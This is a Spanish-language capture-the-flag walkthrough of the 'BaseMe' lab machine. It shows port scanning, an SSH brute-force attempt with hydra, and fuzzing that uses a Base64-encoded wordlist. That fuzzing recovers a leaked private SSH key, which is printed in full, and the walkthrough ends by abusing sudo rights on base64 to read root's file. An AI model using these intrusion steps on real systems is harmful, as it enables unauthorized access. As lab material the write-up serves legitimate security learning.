BaseMe

Hoy vamos a realizar una máquina donde toda la temática gira en Base64, bastante curiosa la verdad.

Reconocimiento de Puertos

En primer lugar averiguamos la IP de la máquina víctima:

sudo arp-scan -l | grep "PCS"
192.168.0.21  08:00:27:b8:3e:80 PCS Systemtechnik GmbH

Ahora definimos la IP en una variable para trabajar con ella más cómodos y realizamos el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

export ip=192.168.0.21
❯ ./nmapauto.sh $ip

 [*] Reconocimiento inicial de puertos

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-29 17:49 CET
Initiating Ping Scan at 17:49
Scanning 192.168.0.21 [2 ports]
Completed Ping Scan at 17:49, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 17:49
Scanning 192.168.0.21 [65535 ports]
Discovered open port 22/tcp on 192.168.0.21
Discovered open port 80/tcp on 192.168.0.21
Completed Connect Scan at 17:49, 3.75s elapsed (65535 total ports)
Nmap scan report for 192.168.0.21
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.83 seconds

 [*] Escaneo avanzado de servicios

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-29 17:49 CET
Nmap scan report for 192.168.0.21
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)
|   256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)
|_  256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos

Revisamos lo que nos muestra el puerto 80:

❯ curl $ip
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->

Parece que es una cadena en Base64, vamos a ver qué dice:

echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

Pues ahí tenemos la primera pista. Parece que el usuario es Lucas y la contraseña podría ser una de las cadenas comentadas del mismo index. Vamos a codificarlas en Base64 con un pequeño script que creamos nano base64.sh y le damos permisos de ejecución chmod +x base64.sh:

#!/bin/bash

while IFS= read -r linea
do
   echo $linea | base64 >> $2
done < $1

Con esto lo que conseguimos es que llamando al script nos codificará el fichero que pongamos como primer argumento y nos lo imprimirá en el segundo.

Creamos un fichero llamado “pass.txt” con el contenido a codificar y usamos la herramienta:

❯ ./base64.sh pass.txt passencode.txt
❯ cat passencode.txt
aWxvdmV5b3UK
eW91bG92ZXlvdQo=
c2hlbG92ZXN5b3UK
aGVsb3Zlc3lvdQo=
d2Vsb3ZleW91Cg==
dGhleWhhdGVzbWUK

Con eso codificado, haré fuerza bruta con esas opciones al SSH con el usuario lucas:

❯ hydra -l lucas $ip -P passencode.txt ssh -F
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-30 11:59:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking ssh://192.168.0.21:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-30 11:59:38

Fuzzing

No ha habido suerte, voy a realizar fuzzing por si hay algo más escondido:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php,html,txt -u $ip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.21
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
2022/11/30 12:03:30 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 276]
                                               
===============================================================
2022/11/30 12:04:48 Finished
===============================================================

Tampoco encontramos nada… En este punto como la pista nos indica que TODO está en base64 se me ocurre codificar el diccionario y probar de nuevo fuzzing, en este caso lo haré con el common que es más pequeño. Como ya tenemos el script creado, solo es usarlo:

❯ ./base64.sh /usr/share/wordlists/dirb/common.txt dict.txt

Con el diccionario codificado, hacemos nuevamente fuzzing, en este caso usaré Dirb:

❯ dirb http://$ip dict.txt

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Nov 30 12:13:26 2022
URL_BASE: http://192.168.0.21/
WORDLIST_FILES: dict.txt

-----------------

GENERATED WORDS: 4614                                                          

---- Scanning URL: http://192.168.0.21/ ----
+ http://192.168.0.21/aWRfcnNhCg== (CODE:200|SIZE:2537)                             
+ http://192.168.0.21/cm9ib3RzLnR4dAo= (CODE:200|SIZE:25)                           
                                                                                    
-----------------
END_TIME: Wed Nov 30 12:13:27 2022
DOWNLOADED: 4614 - FOUND: 2

Bien, hemos encontrado nuevos recursos, vamos a ver su contenido:

❯ curl http://192.168.0.21/aWRfcnNhCg==
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB
ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY
dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK
RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ
NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0
TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP
NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJY
d3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZj
MUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1cz
aW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUto
VWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0
cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpK
Z25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhy
UURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13
NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3Bz
UWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlE
eDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNH
UkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRX
THZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3
SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZk
eUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VK
bEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1or
aysKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4
SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3
UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5
bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRl
azZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0No
MgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tl
YmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3Rq
T1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1U
Q0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8r
NjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==
❯ curl http://192.168.0.21/cm9ib3RzLnR4dAo=
Tm90aGluZyBoZXJlIDooCg==

Bien, ya solo es descodificar este tipo de contenidos, por lo que usaremos igual que antes “base64 -d” quedando todo de la siguiente forma:

Nombre del fichero codificado Nombre del fichero descodificado Contenido
aWRfcnNhCg== id_rsa (Clave privada)
cm9ib3RzLnR4dAo= robots.txt Nothing here :(

Gurdamos la id_rsa en un fichero con ese mismo nombre y le asignamos los permisos adecuados chmod 600 id_rsa. Ahora nos conectamos por SSH con la misma y con el usuario lucas:

❯ ssh -i id_rsa lucas@$ip
Enter passphrase for key 'id_rsa': 

Todavía no podemos acceder, nos pide una contraseña de clave.

Como recordaréis, al principio creamos un fichero llamado “passencode.txt” con los comentarios del index codificados. Volví a probar con esas 6 posibilidades y nada ocurrió. Aquí me atranqué y no entendía el problema.

Finalmente, la solución apareció, era simplemente copiar ese contenido (el de passencode.txt) y pegarlo tal cual (en vez de ir línea por línea).

Así que nos conectamos nuevamente, y cogemos la flag de user:

❯ ssh -i id_rsa lucas@$ip
Enter passphrase for key 'id_rsa': 
Enter passphrase for key 'id_rsa': 
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 30 07:09:56 2022 from 192.168.0.24
lucas@baseme:~$ 
lucas@baseme:~$ ls
user.txt
lucas@baseme:~$ cat user.txt 
                                   .     **                                     
                                *           *.                                  
                                              ,*                                
                                                 *,                             
                         ,                         ,*                           
                      .,                              *,                        
                    /                                    *                      
                 ,*                                        *,                   
               /.                                            .*.                
             *                                                  **              
             ,*                                               ,*                
                **                                          *.                  
                   **                                    **.                    
                     ,*                                **                       
                        *,                          ,*                          
                           *                      **                            
                             *,                .*                               
                                *.           **                                 
                                  **      ,*,                                   
                                     ** *,    

(flag)

Escalada de privilegios

Como no podría ser de otra forma, si miramos la lista de permisos que tenemos para usar privilegios de otro usuario…

lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
    (ALL) NOPASSWD: /usr/bin/base64

¡En efecto, BASE64! Ya tenemos la vía de explotación, y aquí ya toca tirar un “pelín” de experiencia en CTF, ya que como sabemos que la flag va a estar en el directorio de root y se llamará root.txt… La idea es aprovecharse de que tenemos privilegios con el binario “base64” para leer la flag:

lucas@baseme:~$ sudo base64 /root/root.txt | base64 -d
                                   .     **                                     
                                *           *.                                  
                                              ,*                                
                                                 *,                             
                         ,                         ,*                           
                      .,                              *,                        
                    /                                    *                      
                 ,*                                        *,                   
               /.                                            .*.                
             *                                                  **              
             ,*                                               ,*                
                **                                          *.                  
                   **                                    **.                    
                     ,*                                **                       
                        *,                          ,*                          
                           *                      **                            
                             *,                .*                               
                                *.           **                                 
                                  **      ,*,                                   
                                     ** *,                                      
                                               
(flag)

Con esto hemos terminado la máquina y la tercera de sml. Me ha molado la temática y me ha resultado divertida, excepto la parte de la passphrase, la cual se me atragantó bastante 🤦‍♂️. Nos vemos en la siguiente.